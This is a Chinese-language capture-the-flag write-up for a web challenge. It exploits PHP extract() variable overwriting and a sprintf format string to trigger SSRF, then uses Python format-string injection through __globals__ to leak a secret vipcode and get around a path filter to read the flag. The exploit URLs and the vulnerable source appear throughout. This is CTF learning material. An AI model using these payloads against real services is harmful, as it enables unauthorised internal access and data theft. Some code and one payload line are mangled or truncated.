访问直接给了题目源码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting(0 ); if (isset ($_GET['head' ])&&isset ($_GET['url' ])){ $begin = "The number you want: " ; extract($_GET); if ($head == '' ){ die ('Where is your head?' ); } if (preg_match('/[A-Za-z0-9]/i' ,$head)){ die('Head can\'t be like this!'); } if(preg_match('/log/i',$url)){ die('No No No'); } if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){ die ('Don\'t use strange protocol!' ); } $funcname = $head.'curl_init' ; $ch = $funcname(); if ($ch){ curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); curl_close($ch); } else { $output = 'rua' ; } echo sprintf($begin.'%d' ,$output); } else { show_source(__FILE__ ); }
关键就是触发curl了,参考https://www.php.net/manual/zh/function.sprintf 通过extract进行变量覆盖,覆盖begin为begin=%1$s,则sprintf($begin.'%d',$output);
处就可以输出,例如构造
1 ?head =\&begin=%1 $s &url=www.baidu.com
则可以返回baidu的内容,所以显然用来SSRF最合适不过,发现127.0.0.1还开了8080端口,所以构造
1 ?head=\&begin =%1 $s&url =http:
也就是需要我们拿到vipcode,一通测试,python的格式化字符串问题,构造
1 ?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__ [vip ].__init_ _._ _globals_ _}%26vipcode=xxx
可以读取到vipcode
带上vipcode就可以为所欲为了
提示了flag所在的文件,结合题目提示,flag的路径就是/fl4g_1s_h3re_u_wi11_rua/flag,读取题目源码可以发现fl4g被过滤了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from .vip import vipimport reimport osclass File : def __init__ (self,file) : self.file = file def __str__ (self) : return self.file def GetName (self) : return self.file class readfile () : def __str__ (self) : filename = self.GetFileName() if '..' in filename or 'proc' in filename: return "quanbumuda" else : try : file = open("/tmp/" + filename, 'r' ) content = file.read() file.close() return content except : return "error" def __init__ (self, data) : if re.match(r'file=.*?&vipcode=.*?' ,data) != None : data = data.split('&' ) data = { data[0 ].split('=' )[0 ]: data[0 ].split('=' )[1 ], data[1 ].split('=' )[0 ]: data[1 ].split('=' )[1 ] } if 'file' in data.keys(): self.file = File(data['file' ]) if 'vipcode' in data.keys(): self.vipcode = data['vipcode' ] self.vip = vip() def test (self) : if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self): return False else : return True def isvip (self) : if self.vipcode == self.vip.GetCode(): return True else : return False def GetFileName (self) : return self.file.GetName() current_folder_file = [] class vipreadfile () : def __init__ (self,readfile) : self.filename = readfile.GetFileName() self.path = os.path.dirname(os.path.abspath(self.filename)) self.file = File(os.path.basename(os.path.abspath(self.filename))) global current_folder_file try : current_folder_file = os.listdir(self.path) except : current_folder_file = current_folder_file def __str__ (self) : if 'fl4g' in self.path: return 'nonono,this folder is a secret!!!' else : output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n''' filepath = (self.path + '/{vipfile}' ).format(vipfile=self.file) output += filepath output += '\r\n\r\nThe content is:\r\n' try : f = open(filepath,'r' ) content = f.read() f.close() except : content = 'can\'t read' output += content output += '\r\n\r\nOther files under the same folder:\r\n' output += ' ' .join(current_folder_file) return output
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import random import string vipcode = '' class vip : def __init__ (self ) : global vipcode if vipcode == '' : vipcode = '' .join(random.sample(string.ascii_letters+string.digits, 48 )) self .truevipcode = vipcode else: self .truevipcode = vipcode def GetCode (self ) : return self .truevipcode
由于fl4g被过滤了,所以只能另辟蹊径,代码中
1 2 3 4 5 global current_folder_file try : current_folder_file = os.listdir(self.path) except : current_folder_file = current_folder_file
所以可以通过current_folder_file来获取flag文件夹,构造
1 {vipfile.__init__ .__globals__ [current_folder_file ][21 ]}/flag